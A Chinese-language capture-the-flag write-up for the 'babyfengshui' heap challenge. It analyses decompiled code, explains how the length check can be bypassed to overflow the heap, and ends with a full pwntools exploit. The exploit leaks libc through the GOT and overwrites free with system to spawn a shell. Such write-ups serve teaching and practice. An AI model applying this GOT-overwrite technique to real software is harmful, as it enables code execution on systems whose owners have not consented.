1. 漏洞分析
程序开启了DEP,主要包含四个功能:
- 添加用户
- 删除用户
- 显示用户
- 更新用户
User结构体为
struct User
{
char *description; //大小由自己定义
char name[124];
};
添加用户的代码为
User *__cdecl add_user(size_t size)
{
int v1; // ST2C_4@1
void *description; // ST24_4@1
User *user; // ST28_4@1
User *result; // eax@1
int v5; // ecx@1
v1 = *MK_FP(__GS__, 20);
description = malloc(size);
memset(description, 0, size);
user = malloc(128u);
memset(user, 0, 128u);
user->description = description;
*(&users + user_count) = user;
printf("name: ");
input_name(*(&users + user_count) + 4, 124);
update_user(++user_count - 1);
result = user;
v5 = *MK_FP(__GS__, 20) ^ v1;
return result;
}
漏洞点是在更新用户时
int __cdecl update_user(unsigned __int8 index)
{
char v2; // [sp+17h] [bp-11h]@3
int len; // [sp+18h] [bp-10h]@3
int v4; // [sp+1Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
if ( index < user_count && *(&users + index) )
{
len = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &len, &v2);
// 防止堆溢出
if ( (len + **(&users + index)) >= *(&users + index) - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
input_name(**(&users + index), len + 1);
}
return *MK_FP(__GS__, 20) ^ v4;
}
当更新description时可以改变长度,但校验了长度&description + len < &user - 4
来防止堆溢出,可是仔细思考会发现这里还是能够产生堆溢出。
2. 漏洞利用
2.1 添加2个用户
这时的堆布局大概如下
2.2 删除第1个用户并添加用户
这一步添加用户时的description大小为第一个用户的description和User结构体的大小总和,完成后的堆布局大概如下
2.3 更新第3个用户
这时修改第3个用户的description大小就能够产生堆溢出修改第2个用户的数据,并且满足&description + len < &user - 4
2.4 get shell
把第2个用户中的description地址改成got表的地址就可以泄露libc地址绕过ASLR,再修改got表get shell
3. EXP
from pwn import *
LOCAL = 1
DEBUG = 0
if DEBUG:
context.log_level = 'debug'
if LOCAL:
io = process('./babyfengshui')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('78.46.224.83', 1456)
libc = ELF('./libc-2.19.so')
def add_user(size, name, len, text):
global io
io.recvuntil('Action: ')
io.sendline('0')
io.recvuntil('size of description: ')
io.sendline(size)
io.recvuntil('name: ')
io.sendline(name)
io.recvuntil('text length: ')
io.sendline(len)
io.recvuntil('text: ')
io.sendline(text)
def delete_user(index):
global io
io.recvuntil('Action: ')
io.sendline('1')
io.recvuntil('index: ')
io.sendline(index)
def display_user(index):
global io
io.recvuntil('Action: ')
io.sendline('2')
io.recvuntil('index: ')
io.sendline(index)
def update_user(index, len, text):
global io
io.recvuntil('Action: ')
io.sendline('3')
io.recvuntil('index: ')
io.sendline(index)
io.recvuntil('text length: ')
io.sendline(len)
io.recvuntil('text: ')
io.sendline(text)
elf = ELF('./babyfengshui')
add_user('128', 'bird', '2', '1')
add_user('128', 'bird', '2', '1')
payload = '/bin/sh\x00'
add_user('128', 'bird', str(len(payload)), payload)
delete_user('0')
text_len = 0xc1b0 - 0xc008
payload = 'A' * (0xc1a0 - 0xc008) + p32(elf.got['free'])
payload = payload.ljust(text_len, 'A')
add_user('256', 'bird', str(text_len), payload)
display_user('1')
io.recvuntil('description: ')
free_addr = u32(io.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info('system_addr=%#x' % system_addr)
text_len = 8
payload = p32(system_addr)
payload = payload.ljust(text_len, 'A')
update_user('1', str(text_len), payload)
delete_user('2')
io.interactive()